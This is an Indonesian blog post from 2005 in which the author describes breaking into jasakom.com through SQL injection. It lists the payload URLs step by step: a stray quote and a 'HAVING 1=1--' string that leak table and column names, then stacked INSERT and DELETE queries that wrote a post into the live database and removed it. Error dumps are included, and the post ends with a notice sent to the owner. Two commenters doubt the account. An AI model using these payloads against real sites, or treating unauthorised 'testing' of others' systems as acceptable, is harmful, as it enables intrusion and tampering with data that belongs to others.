Thursday, March 24, 2005

Jasakom.com di hack ???

Perhatian : Semua yang tertulis di situs ini hanya untuk pembelajaran. Jangan pernah dicoba untuk mesin dan situs yang bukan milik anda. Setiap tindakan, anda tanggung sendiri akibatnya. Take ur own risk bro .. !!!!

Pendahuluan :
Bagi para hacker dan pemula hacker, mungkin situs www.jasakom.com adalah salah satu tempat mangkal mereka. Mulai dari tutorial sampai tips dan trik hacking, semua ada disitu. jadi.. yah bisa dibilang... situs ini.. salah satu tempat kumpulnya komunitas hacker Indonesia.

Kemaren malem (24/03/2005) sekitar jam 18:00, gw coba masuk ke situs jasakom, yah.. udah lama banget ga buka-buka web nya jasakom .. dah kangen... pas gw buka... waaaaa ternyata web nya sduah ganti chasing.. alias tampilannya dah berubah.. lebih bagus.. dan udah bermigrasi dari ASP ke ASP.NET.. wah.... canggih loe Sto ... (Sto adalah pemilik situs jasakom).

Tapi, ternyata.. dibalik kecanggihan ASP.NET nya ... situs itu bisa dijebol ... gak tanggung-tanggung ... hanya dengan teknik lawas SQL Injection... seorang hacker bisa melakukan update terhadap databasenya. Ck..ck..

Mau tau gimana caranya ???? lanjut terus baca tulisan dibawah .... oh iya.... pada saat artikel ini ditulis.. web jasakom sudah oke kembali (karena Sto sudah menindak lanjuti email pemberitahuan yg gw kirim) .. artinya sudah dipatch.. jadi elo-elo gak bisa nyoba ... hihihihihi.. kasian de loe....

Oh iya, satu lagi... gw gak akan membahas apa itu SQL Injection, kalo loe mau tau .. buka aja web nya jasakom.

Pembahasan :
Semalem tuh (23/03/2005) , yang gw lakuin :
1. Buka web jasakom.com, liat2 artikel menarik. Baca-baca ampe bosen .....
2. Pilih menu Hacking, yang artinya ditampilkan semua artikel bertipe Hacking, dgn url :
http://www.jasakom.com/group.aspx?ID=Hacking
3. Trus gw iseng, gw tambahin karakter kutip satu dibelakang kata Hacking. Jadinya :
http://www.jasakom.com/group.aspx?ID=Hacking'
Trus muncul error :
System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string 'Hacking' ORDER BY id desc'. Line 1: Incorrect syntax near 'Hacking' ORDER BY id desc'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at ruthness.grouparticle.BindData() in E:\web\jasakomcom0\htdocs\grouparticle.aspx.vb:line 49
Nah, dari error itu gw tau, web nya ternyata SQL Injection Vulnerable .... dan parahnya .. elo liat bagian yg gw merahin ??? itu ternyata folder root dimana file2 aspx nya disimpan. (dari keterangan ini, elo bisa bertindak lebih dari sekedar menggunakan SQL Injection)
4. Trus gw coba menggunakan having. Jadinya :
http://www.jasakom.com/group.aspx?ID='%20Having%201=1--
Muncul error :
System.Data.SqlClient.SqlException: Column 'berita.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.Judul' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.TglPost' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.Penulis' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.HitCount' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.JenisBerita' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.IsiBerita' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.Judul_Inggris' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.HitCount_Inggris' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Column 'berita.IsiBerita_Inggris' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at ruthness.grouparticle.BindData() in E:\web\jasakomcom0\htdocs\grouparticle.aspx.vb:line 49
Waaaaa..... dari error itu, elo bisa tau informasi berharga ....... yang paling penting, elo bisa tau salah satu nama tabel dan semua kolom2nya........ neh... setelah gw catet... nama kolomnya :
berita.ID
berita.Judul
berita.TglPost
berita.Penulis
berita.HitCount
berita.JenisBerita
berita.IsiBerita
berita.Judul_Inggris
berita.HitCount_Inggris
berita.IsiBerita_Inggris
5. Dari nama tabel "berita" dan kolom2nya.. akhirnya gw coba deh insert sebuah berita. Dgn URL :
http://www.jasakom.com/group.aspx?ID=';insert into berita values (1000,'patch dong','','kutukupretz',200,'hacking','patch dong','',100,'') --
Trus keluar error yang bilang gak bisa insert untuk data tipe Identity. Oh... ini karena berita>ID tipenya autonumber.. jadi gak perlu dimasukkin nilainya....
6. Ganti URL nya menjadi :
http://www.jasakom.com/group.aspx?ID=';insert into berita values ('patch dong','','kutukupretz',200,'hacking','patch dong','',100,'') --
Tidak ada balikan error. Artinya... data berhasil diinsert.. dan pas gw buka halaman home-nya.. Beng !! Sudah ada artikel baru dengan judul "patch dong"
7. Setelah berhasil insert, data tersebut gw hapus (yaaahh.. gw kan orangnya baik :P) ... dengan URL :
http://www.jasakom.com/group.aspx?ID=';delete from bertia where judul='patch dong'--
8. Trus gw email-in deh si Sto, ngasih tau kalo web nya SQL Injection Vulnerable.

Penutup :
Nah, dari semua ini... bisa ditarik kesimpulan..... gak peduli suatu mesin dipasang Antivirus super canggih, patch bertingkat tujuh, dan lain-lain.. kalau ternyata sistem yang dibangunnya masih rentan akan security ...

Oh iya, Sto sebagai pemilik jasakom sendiri sepertinya tidak sadar kalo gw sempet masuk dan posting berita di web nya. (mudah2an emang ga tau....atau pura2 ga tau ... kan IP gw kecatet harusnya...)
Sekali lagi pesen gw, jangan pernah mencoba untuk mesin yang bukan milik anda. It's just for learning !!!!

Shoutz to :
- Sto (sorry men, gw cuma ngetest doang... situs loe gak berubah kan?? database loe baik2 aja kan??)
- fuzk3 (gw baca artikel loe yg tentang SQL INjection Vol-2)
- Jasakom Community

2 Comments:

Anonymous Anonymous said...

aneh...
sedikit.. eh banayaknya ga percaya gw, kenapa gw ga percaya?
gw dari gw kenal yang namanya jasakom gw dah ngetes tu teknik di semua halaman webnya jasakom... eh tiba2 nemu ni blog yang aneh

3:36 PM  
Anonymous Anonymous said...

emang ada ya di web jasakom itu HIT COUNTER, trus ma content bahasa inggris?? (crap)

11:06 AM  

Post a Comment

<< Home